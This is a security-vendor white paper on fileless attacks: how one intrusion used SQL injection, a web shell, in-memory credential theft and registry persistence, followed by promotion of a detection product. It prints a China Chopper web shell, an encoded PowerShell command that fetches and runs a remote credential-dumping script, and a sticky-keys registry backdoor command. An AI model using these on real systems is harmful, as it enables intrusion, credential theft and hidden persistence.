WHO NEEDS MALWARE?

HOW ADVERSARIES USE FILELESS ATTACKS TO EVADE YOUR SECURITY

As security measures get better at detecting and blocking both malware and cyberattacks, adversaries and cybercriminals are forced to constantly develop new techniques to evade detection. One of these advanced techniques involves "fileless" exploits, where no executable file is written to disk. These attacks are particularly effective at evading traditional antivirus (AV) solutions, which look for files saved to disk so they can scan them and determine if they are malicious.

While fileless attacks are not new, they are becoming more prevalent. In their 2016 investigations, the CrowdStrike® Services incident response teams found that eight out of 10 attack vectors that resulted in a successful breach used fileless attack techniques. To help you understand the risk posed by fileless attacks, this white paper explains how fileless attacks work, why current solutions are powerless against them, and CrowdStrike's proven approach for solving this challenge.

"Eight out of 10 attack vectors that resulted in a successful breach used fileless attack techniques."

Source: CrowdStrike Cyber Intrusion Services Case Book

WHAT IS A FILELESS ATTACK?

A fileless, or malware-free, attack occurs when an attacker evades detection by eliminating the traditional step of copying a PE (Portable Executable) file to the disk drive. There are multiple techniques that can be used to compromise a system in this fashion.

Exploits and exploit kits commonly are used to execute attacks directly in memory by exploiting vulnerabilities that exist in the operating system (OS) or in installed applications. The use of stolen credentials is another widespread method of initiating a fileless attack. In its 2017 DBIR (Data Breach Investigations Report), Verizon found that 81 percent of data breaches involved weak, default or stolen passwords — up 18 percent over the previous year. This allows the attacker to access the system as a normal user would. Once the initial compromise is achieved, the adversary can rely on tools provided by the OS itself, such as Windows Management Instrumentation and Windows PowerShell, to perform further actions without having to save files to disk. For example, they can establish persistence without writing anything to disk by hiding code in the registry, the kernel, or by creating user accounts that grant them at-will access to systems. In security, the use of one or more of these techniques is commonly referred to as "living off the land."

ANATOMY OF A FILELESS INTRUSION

Using a real-world example that was uncovered by CrowdStrike Services incident response teams, we can examine what an end-to-end malware-free intrusion looks like. In this case, the

first target was a web server using Microsoft ISS and running a SQL Server database. For the initial compromise, the attacker employed a web shell, a short script that can be uploaded to and executed on a web server. The script can be written in any language supported by the web server, such as Perl, Python, ASP or PHP. Web shells are popular in such attacks because they can be loaded directly into memory by exploiting a vulnerability that exists on the system, without anything being written to disk. In this specific attack, the adversary used a SQL injection to insert their web shell onto the server.

WEB SHELLS allow remote access to a system using a web browser. They can be written in ASP or PHP or any other web scripting language and the code can be very small as shown below.

SIMPLE WEBSHELL CODE EXAMPLE:

```
<%@ PAGE LANGUAGE="JSCRIPT"%><%EVAL(REQUEST.ITEM["PASSWORD"],"UNSAFE");%>
```

Because the web server did not properly check for escape characters, the attacker was able to simply echo the web shell onto the server. The web shell that was used, called the "China Chopper," contains JavaScript commands and is noteworthy because it uses only 72 characters . The execution of the web shell in memory allowed the attacker to use the Chopper user interface to run arbitrary commands against the web server.

With full remote access to the web server, the attacker proceeded to steal credentials by executing an encoded PowerShell command.

The first step was to download a script from a remote server, load the script directly into memory, and execute it. That script, in turn, stole all the plain text passwords that were cached in the web server's memory. Within a few seconds, the attacker had obtained multiple usernames and passwords for all the accounts on the system.

POWERSHELL is a legitimate Windows tool that allows attackers to perform any action on a compromised system without having to write malware on disk. For additional obfuscation, an attacker can encode their PowerShell script, as shown below:

```
powershell -windowStyle hidden -ExecutionPolicy ByPass -encodedCommand
DQAKAAOACgBwAG8AdwBlAHIAcwBoAGUAbABsACAAIgBJAEUAWAAgACgATgBlAHcALQBPAGIAagBlAGMAdAA-
gAE4AZQBOAC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoAC-
cAaABOAHQAcAA6AC8ALwBpAHMALgBnAGQALwBvAGUAbwBGAHUASQAnACkAOwAgAEkAbgB2AG8AawBlA-
COATQBpAGOAaQBrAGEAdAB6ACAALQBEAHUAbQBwAEMAcgBlAGQAcwAiACAAPgAgAEMAOgBcAHUAcwBlAHI-
AcwBcAGEALgBOAHgAdAANAAoAIAAgACAAIAANAAoA
```

The next step was for the attacker to achieve persistence on the server. To do this without requiring any malware, the attacker used a technique referred to as "Sticky Keys." By modifying a single line in the Windows Registry, something easily done using a PowerShell or WMI command, the attacker used the registry key to set the Windows on-screen keyboard process into debug mode.

STICKY KEYS are registry keys that give an attacker access to a command shell without needing login credentials.

Registry command for the sticky key hack:

```
reg.exe add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution
Options\osk.exe" /v "Debugger" /t REG_SZ /d "cmd.exe" /f
```

When set in debug mode, the on-screen keyboard allows anyone with remote access to open a command line with system privileges, without having to login. Once that registry key is set, the attacker can return at any time simply by opening a Remote Desktop connection to the web server. Furthermore, accessing a system without generating a logon event in the Windows event history makes the attacker's actions almost untraceable.

FILELESS TECHNIQUES USED AT THE DIFFERENT STAGES OF AN ATTACK

1-Initial Compromise
SQL Injection Exploit Against Web Server

2-Command and Control
China Chopper Web Shell

3-Escalate Privileges
Credential Dump Using PowerShell Script

4-Establish Persistence
Registry Modification Sticky Keys Technique

REAL-WORLD FILELESS MALWARE

We've seen how an end-to-end fileless attack can take place. Adversaries can also use fileless tools and methods in combination with other techniques during an attack.

Exploit kits

An exploit is a technique that allows an attacker to take advantage of an OS or application vulnerability to gain access

Fileless malware uses tools and techniques such as:

- Exploit kits
- Leveraging legitimate tools such as WMI and PowerShell
- Using stolen credentials
- Registry residence malware
- Memory-only malware

to a system. Exploits make an efficient fileless technique as they can be injected directly into memory without requiring anything to be written to disk. Exploit kits have made attackers' lives easier and their work more efficient by allowing them to automate and mass-perform initial compromises. All that is required is for a victim to be lured into an exploit kit server, often via phishing or social engineering. The kits usually provide exploits for a multitude of vulnerabilities, as well as a management console that allows the attacker to control the compromised system once the vulnerability has been successfully exploited. Some exploit kits even offer the ability to scan the victim's system for vulnerabilities so a successful exploit can be crafted and launched on the fly.

Registry resident malware

Registry resident malware is malware that installs itself in the Windows Registry in order to remain persistent while evading detection. The first of its kind was Poweliks, and many variants have been seen since then. Some variants, such as Kovter, have used similar registry hiding techniques to remain undetected. Poweliks calls back to a C2 (command and control) server from which the attacker can send further instructions to the compromised system. All of those actions can take place without any file being written to disk.

Memory-only malware

Some malware resides only in memory to evade detection. This is the case with the new version of the Duqu worm, which can remain undetected by residing exclusively in memory. Duqu 2.0

comes in two versions; the first is a back door which allows an attacker to gain a foothold in an organization. If the target is deemed worthy by the attacker, he can then use the advanced version of Duqu 2.0, which offers additional features such as reconnaissance, lateral movement and data exfiltration.
Duqu 2.0 is famous for having successfully breached companies in the telecom industry, as well as at least one well-known security software provider.

Fileless ransomware

Even ransomware attackers are now using fileless techniques to achieve their objectives. In this type of ransomware, malicious code is either embedded in a document, using a native scripting language such as macros, or written straight into memory using exploits. The ransomware then uses legitimate administrative tools such as PowerShell to encrypt hostage files, all without being written to disk.

WHY TRADITIONAL TECHNOLOGIES FAIL TO PROTECT AGAINST FILELESS ATTACKS

Fileless attacks are on the rise because they are extremely hard for traditional security solutions to detect. Let's examine why some endpoint protection technologies on the market today are so susceptible to these malware-free intrusions.

Legacy antivirus (AV) is designed to look for signatures of known malware. Since fileless attacks have no malware, there is nothing for AV to detect.

In the case of fileless attacks, anti-malware methods based on

machine learning (ML) face the same challenge as legacy AV. ML dynamically analyzes unknown files and classifies them as good or bad. But as we've noted, in a fileless attack, there is no file to analyze, so ML can't help.

The whitelisting approach involves listing all the good processes on a machine, in order to prevent unknown processes from executing. The problem with fileless attacks is that they exploit legitimate whitelisted applications that are vulnerable, and they take advantage of built-in operating system executables. Preventing applications that both users and the OS rely on is not an option.

Using indicator of compromise (IOC) tools to prevent fileless attacks is not very efficient, either. In essence, IOCs are similar to conventional AV signatures in that they are known malicious artifacts left behind by an attacker. However, because they leverage legitimate processes, and operate inside memory, fileless attacks do not leave artifacts behind, so there can be little for an IOC tool to find.

Another approach involves sandboxing, which can take many forms, including network-based detonation and micro virtualization. Since fileless attacks do not use PE files, there is nothing for the sandbox to detonate. Even if something was sent to the sandbox, since fileless attacks usually hijack legitimate processes, most sandboxes would ignore it.

CrowdStrike uniquely combines **multiple methods** into a **powerful and integrated** approach that delivers unrivaled endpoint protection against fileless attacks and malware.

THE CROWDSTRIKE APPROACH

As we have seen, fileless techniques are extremely challenging to detect if you are relying on signature-based methods, sandboxing, whitelisting or even machine learning protection methods.

To protect against stealthy, fileless attacks, CrowdStrike uniquely combines multiple methods into a powerful and integrated approach that delivers unrivaled endpoint protection. The CrowdStrike Falcon® platform delivers cloud-native, next-generation endpoint protection via a single lightweight agent and offers an array of complementary prevention and detection methods:

- **Application inventory** discovers any applications running in your environment, helping find vulnerabilities so you can patch or update them and they can't be the target of exploit kits.
- **Exploit blocking** stops the execution of fileless attacks via exploits that take advantage of unpatched vulnerabilities.
- **Indicators of Attack (IOAs)** identify and block malicious activity during the early stages of an attack, before it can fully execute and inflict damage. This capability also protects against new categories of ransomware that do not use files to encrypt victim systems.
- **Managed hunting** proactively searches around the clock for malicious activities that are generated as a result of fileless techniques.

THE POWER OF IOAS

IOAs are notable because they offer a unique proactive capability against fileless attacks. IOAs look for signs that an attack may be underway, instead of being concerned about how the steps of the attack are being executed. Those signs can include code execution, attempts at being stealthy, and lateral movement, to name a few. How those steps are being launched or executed does not matter to IOAs. For instance, it does not matter to IOAs if an action was started from a file copied on a drive, or from a fileless technique. IOAs are concerned with the actions performed, their relation to each other, their sequence and their dependency, recognizing them as indicators that reveal the true intentions and goals behind a sequence of events. IOAs are not focused on the specific tools and malware that attackers use.

Furthermore, in the case of fileless attacks, malicious code can take advantage of legitimate scripting language such as PowerShell, without being written to disk. As we have seen, this is challenging for signature-based methods, whitelisting, sandboxing and even machine learning to analyze. In contrast, IOAs detect the sequences of events that a piece of malware or an attack must undertake to complete its mission. This exposes even the stealthiest fileless methods so they can be addressed promptly.

Finally, because they look at the intent, the context and the sequences of actions, IOAs can detect and block malicious activities, even if they are perpetrated using a legitimate account, which is often the case when an attacker uses

stolen credentials.

All this makes IOAs a breakthrough for fileless malware attack prevention. Instead of trying to fight the futile battle of preventing fileless attacks based on the presence of executable files on disk, IOAs monitor, detect and stop the effects of such attacks before any damage is done.

MANAGED HUNTING

Managed Hunting is another unique and efficient defense against filess attacks. Falcon OverWatch™ is the threat hunting component of the Falcon platform and offers an additional layer of protection against fileless attacks. Leveraging the power of the Falcon platform, the OverWatch team proactively hunts for threats on a 24x7 basis, monitoring customers' environments and hunting for activities that are too subtle to be detected by standard security technologies, but could indicate an attack in the making. Falcon OverWatch ensures that even the most sophisticated and stealthy attacks are detected as they happen. It improves your effectiveness against fileless techniques by hunting for and identifying hard-to-detect, sophisticated, cutting-edge attacks and generating meaningful alerting and precise guided remediation advice.

CONCLUSION

The combination of high efficiency and ease of creation, made possible by the existence of exploit kits, is likely to increase the prevalence of fileless hacking techniques going forward. Unfortunately, given the inability of traditional antivirus to

prevent fileless attacks, criminal hackers are increasingly likely to focus on these stealthy techniques. Therefore, security professionals need to account for the existence of fileless malware and fileless attacks in their security strategies. As this paper explains, traditional security countermeasures can be inadequate when facing fileless attacks, requiring new methods of protection . CrowdStrike Falcon offers a comprehensive solution that not only protects against fileless attacks, but also provides superior prevention of known and unknown malware threats.

ABOUT **CROWDSTRIKE**

CrowdStrike is the leader in cloud-delivered, next-generation endpoint protection. The CrowdStrike Falcon platform offers instant visibility and protection across the enterprise and prevents attacks on endpoints on or off the network. CrowdStrike Falcon deploys in minutes to deliver actionable intelligence and real-time protection from Day One. Falcon seamlessly unifies next-generation AV with best-in-class endpoint detection and response, backed by 24/7 managed hunting. Its cloud infrastructure and single-agent architecture take away complexity and add scalability, manageability and speed. CrowdStrike Falcon protects customers against all cyberattack types, using sophisticated signatureless artificial intelligence/machine learning and Indicator of Attack (IOA) based threat prevention to stop known and unknown threats in real-time. Powered by the CrowdStrike Threat Graph™, Falcon instantly correlates 40 billion security events from across the globe to immediately prevent and detect threats.

We stop breaches. Learn more: **www.crowdstrike.com**

CROWDSTRIKE

crowdstrike.com

15440 Laguna Canyon Road, Suite 250, Irvine, CA 92618

VER. 05.16.17